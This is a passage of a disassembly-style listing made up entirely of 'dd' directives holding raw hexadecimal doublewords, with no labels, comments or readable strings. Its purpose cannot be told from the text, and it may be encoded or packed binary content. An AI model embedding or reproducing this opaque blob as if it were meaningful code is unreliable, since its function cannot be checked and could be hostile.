0E7534C82h, 16573F3Ah, 0A167E1h dd 923108A5h, 0CB1F567Dh, 0D0F0A403h, 0FC8846FCh, 5281E99Ch dd 0E57151EAh, 907C5Fh, 0D5E60E9Ah, 1C9C7C5h, 0BC3B3605h dd 0DC921CC1h, 0DC0008B5h, 0E84C98AEh, 6BCA1Dh, 21DB5E2Ah dd 9DC712DDh, 6CD6B109h dd 32B8A014h, 611AB2B5h, 5A33C805h, 93C2DC25h, 0BF13BE07h dd 0ED53C404h, 0FF529014h, 7AD300FAh, 9B4AA259h, 243EE69Dh dd 0FD6C805Fh, 0A43A0E70h, 554B033h, 0EBC77E76h, 0FD98D87Dh dd 0E0098D02h, 82FB62B8h, 60E807BEh, 2A1AE8h, 0FF8F5F49h dd 3E6510A6h, 241C24B8h, 11DEF0B7h, 72500420h, 0B097DE42h dd 0AD4B3720h, 16A012h, 0BC5CAA01h, 3C30F704h, 36472EE9h dd 7D700F2h, 7AC88D3Dh, 0C5A38C09h, 0E1644063h, 30BE9081h dd 0AC10285Fh, 1A00D98Eh, 0B8CA4E82h, 23BC02h, 46137EB2h dd 40D2E9A6h, 5DC6931Ch, 0BAAC9D5Dh, 0D0C14A01h, 8030B861h dd 0C4D10012h, 0DFE05B4Dh, 9F1FE8DBh, 3C40ADDCh, 1657C727h dd 380400EFh, 0A044E0C2h, 0BA2C64ECh, 220E3475h, 0DCBD401Dh dd 77301C8h, 52B6765Ch, 0BF4B1014h, 0D21F5EFEh, 0C7C0BD0Dh dd 55DAE2EAh, 3A2D00A6h, 34D9E42Ch, 0AE90A8BAh, 0C82A191Dh dd 0F0AC6800h, 3D56E56Fh, 890709D1h, 0B3C96B79h, 70A0F905h dd 4414ECEFh, 4A86EC5h, 0DDD0F53Fh, 499BB381h, 0A4F890DAh dd 0ADD402FFh, 0CE663DA0h, 146B1840h, 7B05B81Dh, 4615EAC9h dd 0ECD102F8h, 0DF0BC7AEh, 0C1510CC0h, 4D5AF800h, 0C4DED476h dd 779A2C91h, 4B330BB4h, 0D9F9F0A0h, 38122F68h, 802C1Bh dd 71F1594h, 507AC4F8h, 0BDF7F217h, 85F8C943h, 927E4338h dd 5A0BFFE0h, 8078896Ah, 0C97098C4h, 0B65B165Fh, 2DE44017h dd 0BDD6BBE4h, 2010970Eh, 0E764C01Dh, 83229Dh, 57FA823Ah dd 2DFBAA1h, 49296F03h, 0BBC3980Eh, 87D6F990h, 13484820h dd 80A82D12h, 0B80DBEACh, 4ADB0B00h, 73154705h, 7EB3028Dh dd 0A832DD57h, 81AA1660h, 487FE600h, 833DE454h, 869B244Ch dd 0D1210FFAh, 697BF1E0h, 30F8FA48h, 193A3C0Eh, 0C9996050h dd 3C5D5A52h, 0EC8214BAh, 2779D9A3h, 2E9380C0h, 359A6900h dd 0E4C8B196h, 7EF9865h, 74FD76A6h, 0D06FF7D1h, 0C8480D35h dd 1AB01800h, 0EBE6CD06h, 59C6001Ch, 55684DB2h, 3005F60h dd 2D37A92Ch, 70F076h, 13853888h, 0D4B03FB4h, 0ED41461Ch dd 5D4C6E42h, 0DDB4E08Ch, 0AA7174h, 0EA3EE315h, 414B6C55h dd 0EDF7C600h, 0B2DCC4D5h, 0E9B15820h, 9D616700h, 17FE25CEh dd 2C3DAB07h, 7CB02609h, 0E251C69Bh, 5DE72EB3h, 0EF8940F0h dd 0BB00DD3Fh, 9729C5A8h, 647A41h, 0A1AED58Ah, 231859DFh dd 83DDEC39h, 0E82809EEh, 3C8EC804h, 4B98A5h, 0A463589Fh dd 8CFE45B7h, 80407B00h, 9639BC10h, 9EF8F56Ch, 0FCFB0098h dd 2CE1AB5Bh, 1900CC5Eh, 327893A9h, 979BB1h, 5B4FAEAh dd 2C741476h, 31DAF503h, 695428h, 0D6BE7C38h, 0A566E42Bh dd 0DAAA1100h, 0FC37B9A4h, 9C300418h, 0C0E234F9h, 2E6229B9h dd 86DA5B60h, 1D14DB1Bh, 0C47A68h, 32D28E6Ch, 0EC00C120h dd 0EF08FD4Bh, 0DDA98Ah, 7AD511B7h, 0DC893E22h, 0E8F4BD75h dd 52624700h, 7B7E82F0h, 2E43016Dh, 71572005h, 0D01ECDEAh dd 18272F42h, 7AA0C1F9h, 4505BFCh, 5C2A0F03h, 4666801Eh dd 8C01F01Fh, 64F57813h, 0AAF0AD12h, 0FF2CCh, 59FFD38h dd 0EE365D1Eh, 0B0193924h, 0E8901612h, 9D58C2h, 75DA77EBh dd 1DE27FA3h, 0E7487E1Ch, 0D9BF3Bh, 0ED74F6E5h, 53550Ah dd 0C950F3BCh, 428615BBh, 0B1B63Ch, 87A74027h, 987E1BA5h dd 7C202650h, 811F029Dh, 0A470574Ah, 892728F8h, 2F148065h dd 3A0CC710h, 0B1011834h, 21293732h, 0E3218367h, 98EDA73Fh dd 0C0D390F9h, 83F31208h, 0C800D5DFh, 960A037Bh, 0ED7D4F9Ah dd 16EC18F1h, 0B19E0084h, 0A03CB4E7h, 0AE031BD3h, 1DB5018Ch dd 0F947C0B3h, 44541521h, 0A8078419h, 0C00FEB64h, 1A920953h dd 0B1A12200h, 0C750669Eh, 6A490EB8h, 0B922C867h, 6880584Ah dd 0D545C4B2h, 67142707h, 5C609D25h, 0AA810Bh, 0F6EC9987h dd 40188D7Fh, 3C13A04h, 0E585636Dh, 0C7CC0AEh, 6700EBAEh dd 399DD8E8h, 40E28Eh, 5969538Dh, 0E0441BDh, 283C38h, 0B8957B58h dd 0F04C71h, 8FB2CDA9h, 0B95E2205h, 0AA3993E8h, 3773808Ah dd 0D3117E66h, 25DB0774h, 0F0BF782Ch, 347FBA79h, 1DB62400h dd 7B0CCFEFh, 9E9D073Dh, 67EAA9h, 0DEE5B703h, 90D29415h dd 50880090h, 0A0F486B2h, 0AF4B00A7h, 44993B7Ch, 3C1E414Eh dd 7D87512Ch, 0CBC0C22Bh, 1CCF05C7h, 0C0E0CED2h, 39673DF9h dd 0D600E589h, 0C73C767Dh, 1C3E3A88h, 404133B8h, 2B7BB2D4h dd 0D5003BBFh, 1DDF77FDh, 3B3D65Ah, 848D151Ah, 0CBA802BCh dd 0CC0FFB05h, 0E75286C5h, 103733Bh, 77E1A853h, 0CBF20468h dd 0C06CA1E7h, 0F005D201h, 0BA921100h, 78B3D81Ch, 0C10D00EAh dd 52E31D84h, 3C00519Dh, 3A1E9BABh, 0B57AE34h, 1BB178D6h dd 0A4081C5Bh, 42B544A2h, 10F1667h, 101AD41h, 0D311C518h dd 826B12BBh, 24A09C14h, 0BE13210Ch, 110E9F11h, 3012A793h dd 118D4312h, 8102329h, 803AA01h, 0E488C444h, 841790A7h dd 4848D238h, 94BDE84Fh, 0CE193C5Bh, 87C29D5h, 4FB94480h dd 89D1FA84h, 0E38F1060h, 70AE0048h, 29099F22h, 9600C061h dd 7D39DEFh, 3D45C6h, 53804B81h, 51D46E04h, 57378200h dd 29E4F78Ah, 1AF7667h, 63AEFD7Bh, 0F2501D95h, 0FC25E640h dd 0E0DB3117h, 8A815401h, 0F2F8DA5h, 57606784h, 0FB9AC102h dd 0B562CD09h, 0D870F8h, 4865378Ah, 17CB62Eh, 40C41100h dd 8DDDA047h, 0E7660F29h, 900BF17h, 0E637634Bh, 0B80B185Ah dd 0F724E160h, 6A2AD4h, 878C6112h, 4AF683CBh, 0D64F8A00h dd 0A7231F16h, 614901Eh, 0A22EC76Dh, 0C2002895h, 0B7F29362h dd 4AB3CF52h, 0B150D03Fh, 0F0071C5h, 0A70A9026h, 0B8E0280Ch dd 0BB2500ACh, 3A497EC3h, 90CECA3h, 507D529Ah, 1B9701BEh dd 4374157Ah, 0E26C7082h, 3BADDC02h, 0D045A381h, 0E05E00FCh dd 56643E21h, 0F713BEA9h, 0D102E530h, 40A0FD90h, 3088C1Ch dd 45627CE0h, 87FFC646h, 2F4C9056h, 8A001BB8h, 7CDC7E7Fh dd 0A26A97h, 0B9AFD67Bh, 7DAE0B2Dh, 13B8CC5Ch, 8CF49C17h dd 77A31DD7h, 3C1E40F0h, 0ED283A72h, 0CF9AA001h, 51290C2Bh dd 23C2FE40h, 15CD006Eh, 12B6D7E8h, 4D1EA3C6h, 0F1805BDDh dd 6F4E276h, 9DB5A5h, 0C63007E4h, 2197274Bh, 0B7CDDA54h dd 37C3AC7Dh, 0AFA8FCC8h, 2B00BE05h, 0F666FE83h, 8BE4B0h dd 7E2D600Dh, 0E78C55BCh, 0B246FC00h, 2C663F4Ch, 24474DC3h dd 0DC441627h, 0F841981Eh, 808E6BB8h, 0F91AC0ACh, 917300DEh dd 0CF266B3h, 0A8916A3Bh, 0D1C46500h, 0FFD0EAh, 5236925Eh dd 0FDA7C395h, 3A00CD77h, 0C2B8B5E0h, 0F1493B7h, 5C017E80h dd 1E864809h, 6E0016FEh, 0D43E029Fh, 0EFA090h, 0A9470A38h dd 78DA9429h, 0BA70C901h, 7F69E6C7h, 1457B881h, 0C050F498h dd 0E801874Dh, 0F77EEFD5h, 7C70C7CCh, 0DF0700F8h, 23DBBAD7h dd 8C17504Ch, 29007A89h, 0AE5E67F1h, 621A7A09h, 56B398E3h dd 0A0C7E443h, 268CFC07h, 7703D37Bh, 982766ADh, 0C07098DEh dd 23E200C1h, 0C457585Bh, 54FA4DE8h, 0FBF88800h, 37A031D7h dd 0F5BF160Bh, 7140C0AAh, 96055605h, 4A1B180h, 0B0152680h dd 9CF4E91h, 18D2702Ch, 7AB6F200h, 75BD1830h, 4272004Fh dd 2DC29403h, 0F301E70Dh, 6E0E8DF9h, 0ACD0089Eh, 4A3C0055h dd 59315154h, 0B70424AAh, 764EDC8Ch, 0ACE038C4h, 0B66C01E8h dd 72F78257h, 7AE6DCA3h, 1D24CF16h, 98EC7400h, 601AC3h dd 6769765Ch dd 81AD9B4Bh, 0B23FF200h, 0D5BC620Eh, 1ED977ACh, 3F6C4AFh dd 42A1AE60h, 741B72E0h, 54FC217h, 39A44A00h, 9E2D37Ah dd 0BECD4375h, 1D2EF852h, 873AA4ECh, 2971749Fh, 91D69B41h dd 5FE2E840h, 0E3EA508Dh, 0A7B43E64h, 4D7F013h, 80A0C474h dd 44E6AC5Ch, 2E006998h, 3D5C4C6Bh, 8CAABCh, 78594FD2h dd 20EB8918h, 1B78F6FAh, 0DE55A000h, 9B8F330Ah, 6BB700D0h dd 0E10786CBh, 3824BF12h, 7538C004h, 38DFFD2Fh, 3420810h dd 91F1C396h, 3E994482h, 0AE8030C0h, 8038693Ch, 8C42F9D5h dd 13FE28E0h, 0E0DAC9EDh, 320FE5A0h, 0E0D9B172h, 68B0D5DFh dd 6BFB01BCh, 0E924A82Eh, 0DCE0304Ah, 0AEE12703h, 0E0AC3D03h dd 796610h, 0DE8C2BD3h, 0EE04FACEh, 0BB346109h, 2E64E055h dd 0CCA80051h, 8CD39C45h, 0A500DDF1h, 4DEF596h, 6A4FBDh dd 26956078h, 0A108A299h, 0D3FE4707h, 81DE3606h, 516C4C72h dd 58187D20h, 6B008C76h, 0E456ECCEh, 7F75716Fh, 83F6E900h dd 2237C35Fh, 988000DBh, 9F55E92h, 5675E274h, 60B50427h dd 521C210h, 3DC35A1Fh, 0B945C497h, 1A690028h, 5C76F6EFh dd 1B47003Ah, 5A398082h, 440002B6h, 0EF6A7235h, 0B81FB2h dd 66E6B385h, 0DD539E1h, 0E4A5EA00h, 51979B4Dh, 0C2CC037Ch dd 992FC55Ah, 7640D180h, 0FCDD5E07h, 0BC35EDCDh, 670034E8h dd 6E4A64C5h, 2400A4EAh, 0BA6FFAE5h, 247CA2Ah, 9D3BD7F8h dd 7476F912h, 39E0E91Dh, 0D03802E8h, 2B3F4382h, 0F8D68209h dd 27F3FF00h, 5DEBA4h, 0B32064A7h, 0B1B48C65h, 3650A31Fh dd 8A0A5140h, 2D210C7h, 43CC5DDCh, 34401E75h, 274F9CD4h dd 0E60084CBh, 803CC0E3h, 0A50098BDh, 34C1C918h, 0FDB3F6h dd 72D0A78h, 21F48E84h, 0C7779E05h, 4CD04237h, 0C3D8F8h dd 6366B118h, 0AC74E13Eh, 98216500h, 930EAE0Dh, 0A7E30028h dd 30C996E5h, 522E6703h, 614034C2h, 3822FCE4h, 568033C8h dd 2EF2A2CCh, 8527FA8Ah, 7900C799h, 0C7D1D11h, 0D931580h dd 980BC845h, 84C35059h, 0F8EC0ED5h, 9D5AD2Eh, 7880406Eh dd 7BDED5A6h, 0D0FC9801h, 14F7B78Eh, 3E009423h, 58C05FB5h dd 0D2025733h, 7326118Bh, 1FB38020h, 0B211513h, 848ABF7Dh dd 2502A802h, 0CC2CB0A0h, 0BA0EC679h, 5EB3D7EAh, 8E6DB0FFh dd 18AA54C1h, 388DA342h, 7F3DB2B1h, 98648333h, 0D89766E2h dd 8A131Ch, 94D7EB9Ah, 2F28301Eh, 70776400h, 0BFC8F0E1h dd 0FD5D040Bh, 0AC87F8A3h, 691A602Ch, 26EAFBh, 0C3340C6Ah dd 0C543829Dh, 0AC811E5Ah, 0EAECC602h, 0F7130715h, 70768883h dd 0A36EE4D2h, 0EB144F03h, 90843D94h, 0B2A0F04h, 52896963h dd 98F184DFh, 0A9FC0CCh, 0F8942AFEh, 8E860588h, 0E850F1F7h dd 0A70783C1h, 3559FADCh, 89316180h, 8C8D5A77h, 3B40395Ch dd 0B09CB0h, 68C9FEE1h, 9548079Ch, 0F04AA27Ch, 6C260E84h dd 4013D214h, 0D5ECC614h, 0B4EC7ADh, 0F951A881h, 0B629C0F2h dd 12D800B8h, 0A711466Fh, 0C9059431h, 0EC591F16h, 8361D84Fh dd 0D0B4BF70h, 2E0A6F0Dh, 409974h, 0F3B6F85Eh, 0F20EA433h dd 6BDE1C14h, 0DE0059A0h, 2BA01842h, 8C7422BDh, 8A0099E6h dd 659A75F0h, 1C3755DDh, 0F28D1A8h, 0ACE23AD9h, 0AC8166ECh dd 0DE16AA0Fh, 0BE5334E0h, 8C152C0Ah, 5980A00Ah, 7A198AB9h dd 0C1D300D7h, 717B3C3Eh, 3401B7F1h, 8A599535h, 86E01AA5h dd 9DC21743h, 6420758h, 0C68C00B9h, 7002F51Eh, 2BAAB526h dd 173CC150h, 0C060416Fh, 3BA841A3h, 10CA041h, 45D40BADh dd 7A960F9Eh, 9060631Ah, 223A4ACDh, 27315D1Fh, 0D900EF9Eh dd 39D6A3C9h, 0F07C50F3h, 0C7DA1349h, 4EE0F25Ah, 0DA898C0h dd 7019007Dh, 771A75B4h, 1B007A41h, 1829E18Ch, 0F4F766EBh dd 0C5130071h, 0EA58D7C8h, 7898AD0Ch, 8A19AB00h, 0D1ED77EFh dd 887F03AAh, 6D1E9939h, 85B3D002h, 40A1209Ah, 4B530E00h dd 7F888363h, 242EFAB1h, 7C4B1658h, 0B08F14C7h, 0E89A1080h dd 41554F59h, 0EC92C4BCh, 0AC30C313h, 71241080h, 7C0403F4h dd 388118BEh, 38683EEAh, 740731C0h, 7180921Ch, 9FD9FD10h dd 4DFB09F8h, 8C1048D1h, 34F8A27Eh, 11AD4700h, 1C91A007h dd 0C253002Ch, 3E3F8FD8h, 0FC1FE5C8h, 10409950h, 4271155Fh dd 0A647A0Fh, 75DAF3CEh, 9E7202E8h, 80A05297h, 0BDB0151Fh dd 7B0F3777h, 803D302Fh, 59043F05h, 0C014018Bh, 626E479Dh dd 18B4E032h, 8041273Bh, 4E3AAB4Ah, 1902666h, 8D0BB101h dd 857BEBA8h, 1FE4F1F8h, 1B00C8A8h, 56E78A83h, 0BA269B53h dd 8400D858h, 3A3F79DEh, 0C6B10ECAh, 0B980C0FBh, 27C26942h dd 28CEEA00h, 0D82D89A6h, 67BCA038h, 6B170F0Ah, 0F6697808h dd 0A0B2DE85h, 0D613C8D4h, 48F09F11h, 48EFF09Bh, 420190EBh dd 830E2F39h, 0B55C10B7h, 0F5312695h, 0BF598118h, 43FCD07Dh dd 0A0B049CCh, 0D6E40277h, 8088CE39h, 4FE8ACA5h, 4C7FA897h dd 49003068h, 1BC4E480h, 0F15B8E2Fh, 2EE1A420h, 0BE84A1E2h dd 60DE3C30h, 88971129h, 2524B160h, 1D01BC87h, 2FC49910h dd 8A34830h, 0A52C49DDh, 0AC6F5401h, 0D07413BAh, 244600C6h dd 0B74B3484h, 9F07E031h, 0E3BE0D11h, 27E2F150h, 8A66037Dh dd 4693977Ah, 0EE86D3E8h, 98994E03h, 912F20Eh, 0DBB088F0h dd 0D6004894h, 0D558135Fh, 4B1A2EB6h, 0C0ECC75Bh, 887C3F87h dd 8035C63Fh, 76B2EAB1h, 0F829947h, 8944DCA1h, 0FCF319C5h dd 34CF0170h, 2E28CC62h, 6844007Ah, 0DDFBFE24h, 7B02148h dd 99176E23h, 57B889A0h, 0DCC9557Bh, 0B78733Fh, 47EF5CE8h dd 948D7300h, 0A364F31Fh, 1A4B0106h, 0F45EE615h, 0FC1021E5h dd 0FF764F87h, 4510E860h, 60022F99h, 171BC833h, 2200786Ah dd 0AB92232Dh, 0EA5C9F65h, 0EDDB002Fh, 176724F6h, 0A07692Bh dd 3C8D21D3h, 16D0DC17h, 5A8726h, 980B0E0h, 0FFF2ABF0h dd 9D4FA4B0h, 90343C00h, 1DBC1F22h, 0FEB8EE44h, 5AD1F980h dd 0AE080BC2h, 0E36F5000h, 0ECA3AC21h, 56C40064h, 3187F2A1h dd 47F9285Fh, 0A8C340FCh, 200178Eh, 414AEBFFh, 9F820h dd 0E4E5B33Fh, 0BA611DABh, 0A473DF01h, 6271EDCEh, 197B074h dd 5087CA42h, 609D1AE9h, 1F50B60Bh, 0DC2594FCh, 3458E8h dd 530931A4h, 0B9049B8Dh, 0DFB52300h, 3B9A7A62h, 1CDB054Ch dd 0EC0184CBh, 361703B4h, 8051FC3Ch, 4E9C888h, 41D471CDh dd 9DC09001h, 9A053FE7h, 10BBC931h, 54F9FC49h, 9BA86050h dd 780BDB38h, 763C4h, 82C8B880h, 0CDC307E3h, 6170F3ECh dd 6AF4D30Fh, 0BCEB3005h, 93E9850Eh, 9FFD5CD1h, 1300AC68h dd 394C9437h, 0D7095AEFh, 0A0AA9365h, 5FF999D4h, 13C0002Ch dd 983723A4h, 2502147Bh, 55C13D2Ah, 3C3474A6h, 21AD0880h dd 354E9E87h, 3315205h, 80C8D36Fh, 3AFE7E8Bh, 0BCD9A01Ch dd 0B7A46C00h, 5269C832h, 0B5A23C13h, 0C9293044h, 0AD2C18E8h dd 0C07E1DA1h, 0B084B4DFh, 8370E285h, 6F49C8A0h, 3CE8D900h dd 0BC9FF222h, 0D875E9h, 0A5B2C13Fh, 0C670F92h, 50911A00h dd 0BFC2FD10h, 0E09C07FFh, 35A56915h, 463680CAh, 4401D6E7h dd 2B7FE12Ah, 58302EC5h, 0CC7D0067h, 0B042AF49h, 53486B26h dd 0BE850055h, 7FA46ECh, 366C0016h, 1975799Eh, 0CA00225Fh dd 6988A22Bh, 114346Fh, 0B06B1011h, 0C8E3E9C5h, 650BB4CCh dd 0E0061A44h, 2B4B94h, 0A5735E3Eh, 5C7EEECDh, 9A1C4892h dd 84C0C121h, 43541716h dd 26410E4Ch, 0B4A0357Eh, 18AAFB32h, 0EFA76007h, 5B409925h dd 5A17F0Fh, 9A95B083h, 92FC40D3h, 8B16876Fh, 70DC50F9h dd 0A800E61Ah, 24E21FE8h, 7F13BCh, 6F118425h, 621B068Dh dd 0C3909700h, 0C8CFF72Dh, 876D01DCh, 99423622h, 1411EC72h dd 37891012h, 0A22A5090h, 12AB003Dh, 3BD13644h, 1800A66Fh dd 0F7062B08h, 2E43B68Fh, 9CCA35Dh, 60A0A24Bh, 0C37C94C6h dd 0FF12B71Ch, 0D32ECC0h, 6B9B68Bh, 5DDDB876h, 29E29072h dd 35F96600h, 0B30711Eh, 0D4A400BAh, 0A8CB8625h, 6D04448Bh dd 0C75F4AFAh, 880ED780h, 0FBB500E0h, 94011B45h, 21247B65h dd 0B912B417h, 0F280EC1Dh, 987F0D35h, 43113F53h, 4FD46989h dd 151DA8A0h, 0F7FE35F0h, 5E74C800h, 46879DEEh, 72C30095h dd 9AFC8F18h, 0F47A37F0h, 0C0AA0D07h, 0A6300B07h, 73A221F8h dd 1B390F6Ch, 0BDCB92D9h, 0B930C40h, 6EF5D002h, 80C230FBh dd 0DAF29DBBh, 0EAD30485h, 0BCB59B3Fh, 4F80058h, 1F53AFF4h dd 0D36100E8h, 3DD0027Fh, 3C01AE31h, 739C931Dh, 59C10396h dd 0EC4170D4h, 108E023Ah, 33A2A591h, 77CB48E0h, 0C0984873h dd 8058713Dh, 9B3A6E8h, 3996D81Ch, 8700B2EFh, 0E0E2FC64h dd 0EB2462C5h, 578040EAh, 8F0EFECAh, 0F98500CFh, 20595DD3h dd 270065F1h, 9978BA1Ah, 79D5F3A1h, 3D730030h, 0E7C166A8h dd 4F006DCEh, 0C7AC7F4Eh, 1CEC80AEh, 16F3B89Ah, 0D0500078h dd 0BB44344Ch, 45370E24h, 1750E500h, 303CF4B2h, 341002FBh dd 0C703E7A4h, 0D97A9992h, 2517F831h, 3D4A2D8Eh, 4FCBD880h dd 0E702229Ah, 20BD709Bh, 10905DD9h, 44EA57D0h, 407FA52Dh dd 1C1939D8h, 800E368Eh, 0E228E454h, 0E92D10EAh, 24A84183h dd 0A4C45A0Ah, 0D1C041AAh, 30939ABCh, 1F1242F3h, 24C0B134h dd 4C29F72Ch, 8D032CB4h, 0EB442425h, 6C3C10F6h, 21E581A6h dd 0C96F421Fh, 30AA2980h, 74FA5F45h, 4B384098h, 3A499D63h dd 352C0Bh, 0E2B66B3Ch, 0E99802C3h, 81EBCC4Eh, 0DE9740C0h dd 50953300h, 78CF4B2Ch, 3D591756h, 26E700DDh, 53D85B6Ah dd 676D8401h, 5955C344h, 8543D0h, 8A7924DFh, 74EEAC77h dd 3A2DDA02h, 7CCC3E09h, 5BBA0094h, 3B18C7A3h, 6C2A2C2Ch dd 87C95007h, 0E1300970h, 70F20116h, 0A64F0ECBh, 61C8516Eh dd 2C64FC79h, 25C32100h, 0EAB9B411h, 28853E20h, 2AB2480h dd 0E9A1E652h, 6B3C8700h, 0BE6EB7CDh, 0A88F9D9Dh, 90556607h dd 51774C50h, 0D5CAA105h, 1CEC643Fh, 2B0D40Fh, 0F2386604h dd 0F0CE2564h, 0C880030h, 756B798Dh, 2C00FFF8h, 0B1E48B01h dd 6F47B5h, 0B0F67FE9h, 6B918F30h, 0D10E2700h, 6C2457FCh dd 725C38DDh, 6F2F3049h, 1030894h, 8290E5D9h, 86BB00Fh dd 4BEACh, 3F451080h, 8A00234Fh, 0B17C9D47h, 909FA232h dd 0CF260730h, 0F0082E7Bh, 682D1C28h, 81D038C0h, 0E62563D3h dd 41A03C47h, 0F613F080h, 1B29B0F7h, 2FC87F02h, 42CB1E1Fh dd 3264605Ch, 8DF4017Dh, 446C2EF7h, 35E6E075h, 0E76F9A00h dd 0FBE027B3h, 53700E65h, 0C4345FC2h, 7364EB00h, 9E3C891Ch dd 0EF4AF4Ch, 0A3B8682Fh, 0E8C82CC3h, 0F8963Eh, 167DF617h dd 8462AEBDh, 26EE6916h, 0B0CD10F4h, 0AC35025Fh, 6E5A0425h dd 6388F46Bh, 0BB0EE686h, 0AE354B1Eh, 137EA057h, 3B0AA804h dd 9F80FEE2h, 0CACBBC4Ch, 0BD02760Eh, 6CC95CC3h, 0A8005733h dd 4597AD38h, 534140Bh, 0D7805A6h, 0C896F9C2h, 15E3610h dd 342462C3h, 7275D2DAh, 0D1D407D8h, 0C01E28D0h, 0EF449869h dd 0F64F0935h, 507EAAC6h, 0B01D837Bh, 12FAA8Fh, 93D89F8Ah dd 0C4DB94DAh, 0C0005FB4h, 22C93E21h, 126628BFh, 0C0DAA5AFh dd 0A8D5418Ch, 5B325D00h, 453C27DEh, 2C880005h, 0CCD9E36Ch dd 71000CCEh, 255A89B2h, 489DAAF2h, 0F0066A6h, 0DDE85046h dd 0A060F6DBh, 0C6EB2F50h, 685100CBh, 0BEE5F5B6h, 0A23F59E1h dd 80583D71h, 98AC4121h, 0F40BA405h, 29A600ADh, 806BA251h dd 6300366Eh, 24454878h, 11E688Dh, 66641553h, 0E8ACEBE2h dd 5800C4B9h, 10F847ECh, 45ED71Ah, 0D81D43FFh, 0A2A1C0E6h dd 0CE003545h, 1A8A0C83h, 0DC3117h, 0A66A0ADEh, 13682173h dd 52D3BE1Eh, 8C809824h, 41DE5FA4h, 0D75A003Dh, 0AFE035B9h dd 0E30014B8h, 4A2D65D0h, 22ECA7h, 47E9BE49h, 5D3BA152h dd 0E4B77800h, 0D6BDF351h, 0D4F80033h, 9706F257h, 60C054E6h dd 19CEE1B3h, 4FA902Ah, 51B4C798h, 8610B024h, 0F405CF78h dd 26EB069Fh, 137CE0F8h, 0A254FE90h, 0BAE87068h, 5ECD2700h dd 7686B095h, 0F91727E9h, 1FA81440h, 96447C0Ah, 0B1003CE7h dd 0B86448F3h, 0BFBE000Dh, 911945A4h, 5000CF5h, 0C2B1AB28h dd 7153DC64h, 99B43A9Fh, 0A757131Eh, 565C405h, 81A79C48h dd 0D0380B00h, 34AA9D7Ch, 0B111CE80h, 2B002965h, 23BAEA66h dd 1DC7ED45h, 0CCF7B2FDh, 10B8949Eh, 0E865EC00h, 0B83F3CFFh dd 0D5850087h, 5D1953F8h, 1312847Ch, 0DA009E48h, 0D16FB538h dd 18F10017h, 6D10D2E4h, 0F0EB22Ah, 877C2F92h, 40A0E5E8h dd 39A4148Ch, 0ECD4244Bh, 0B58600B1h, 6A11BA72h, 0E507B7EFh dd 700F7365h, 115E14Ch, 0FF4A76A3h, 81720AAEh, 0AD1047D1h dd 39C8D392h, 0C0283BCAh, 0F52C6B80h, 84058AD4h, 0E120043Ch dd 5D4A8331h, 0C4601CDDh, 0C8EE59A2h, 2D506806h, 0D51890C9h dd 88315679h, 77043DC0h, 19D18380h, 0D09FD9B9h, 0AB8A0A1Dh dd 0A4D6EB40h, 1D4AF3E0h, 391F21Bh, 68D19D07h, 0B8C028C3h dd 600CEACh, 2F1A763h, 0B32FB9h, 290ACCF5h, 40D3B73h, 9F4E7500h dd 0E38CEB7Ah, 0B8980A02h, 80905125h, 0D464127Eh, 0CE0F2CFBh dd 21C97BA2h, 0DDA14F70h, 0F48E04DCh, 740B509Dh, 0CDE52575h dd 9625E483h, 4D4938h, 490EF6C9h, 0C6724D7h, 7453429Fh dd 513F14F4h, 28B30775h, 9241F43Eh, 2F9E73h, 0F7EEC6Ch dd 0CC13249Bh, 1073ED1h, 0D3EEE6F6h, 0A4ADFA0Ah, 0F2EA0787h dd 0A9632240h, 29E8F5h, 0ABB00F18h, 34CA0279h, 9C67B300h dd 7BE3C3ACh, 2A98007Ah, 0F7A1E488h, 0E0C74811h, 4B50BE35h dd 179CC3h, 0B502825Fh, 4F1923D9h, 930065B8h, 16DE4FBh dd 3AFC4AD2h, 2C00F637h, 0F0655C1Eh, 8E0CAEA0h, 9770298h dd 3C21C080h, 4DCAF19Ah, 7762F00h, 6B3BAC8Bh, 2EB30029h dd 634AFC1Eh, 52603F9Bh, 0F4CD9678h, 0BAD0008h, 0BC5A24B1h dd 0A8609E2Dh, 0ECE11950h, 0E78519EFh, 0B2FC90D4h, 30029869h dd 0AE71F06Fh, 86229E46h, 0F1843A09h, 9C3880FCh, 712112h dd 4B50F016h, 0D532BFCCh, 80FCB007h, 95802DB5h, 1B9F3DFh dd 0E5B8D118h, 0DCEA4B4Eh, 3160B2C6h, 0B6A88CC9h, 8A630180h dd 0DBAB4158h, 6BED011h, 0D06E20C0h, 3695BB6h, 0FEB27808h dd 0EC98240Dh, 0D1142118h, 0B8021Ch, 0BE4D5FC9h, 0D43F25h dd 809C6F26h, 2A17DD79h, 0CD462400h, 0EA86FEF6h, 0E6C800F9h dd 0A0989F81h, 5200B3B2h, 0A3DF098Ah, 6532A1Eh, 0FB57862Ch dd 48711BCh, 3F153586h, 50597C10h, 7088AACh, 70BFCE9Bh dd 0E5F9B094h, 92074967h, 8C788912h, 823007E7h, 0EDD5DAh dd 0A88F3DD2h, 0C9D36FEEh, 0E9AB7800h, 0B0DEC4C5h, 0F5530F11h dd 0B38158B8h, 0D5601AE6h, 64EFC0EBh, 9C981200h, 6745ADCDh dd 4D531897h, 1B931C4Fh, 81F65C00h, 0ED643356h, 0F8C31D40h dd 0BDB9806Ah, 0A43E79A5h, 1A730A00h, 53ABD44Dh, 0DD3C00B5h dd 2FD2298h dd 0F7030DCCh, 0CE5C5849h, 0E8E18B5Bh, 0C070983Ch, 0C41F5A52h dd 1500A5EBh, 0BFACD67Dh, 5752DFh, 676AC9C2h, 88F1E1ECh dd 327A1800h, 856F1DD3h, 2B3618A8h, 9D162068h, 6132D848h dd 723410AEh, 0F9B4B050h, 0CDE4009Ch, 2B44D0E1h, 0C100A5F6h dd 77B7C47Ah, 24A69841h, 0FFFF0Ah, 1BE567EFh, 840CCD7Dh dd 493B1D10h, 76F800A5h, 77572249h, 0FD0090E3h, 0B328316Eh dd 0C0FE4F2Fh, 0DE7B5D40h, 0BC002683h, 0E8D7E57Dh, 0FC7B5B7h dd 8AB6392Dh, 0C9BB88C0h, 0F7000820h, 3BB2093Ch, 1C621DDh dd 0A079FA77h, 0E86D97E3h, 0EF07B91Ch, 0C96FBB41h, 0B6FC7D40h dd 4D0B1DD8h, 0CC0C7D11h, 0D9AEDD99h, 24ECBC00h, 0F404E65Dh dd 0D254249Dh, 2A890068h, 2E8D5ADAh, 9C51AA00h, 0F5AC3F6Eh dd 0C0A07B10h, 89F940E1h, 5B033349h, 87372C74h, 6C95988Bh dd 6F54036Dh, 0BDB10CBh, 467B1CF8h, 708348h, 9239AF07h dd 6B7F22h, 0A9599536h, 684C0E7Dh, 76BFFB00h, 25B5D994h dd 28927E3Ch, 3C4F645h, 0BE232152h, 101D093Eh, 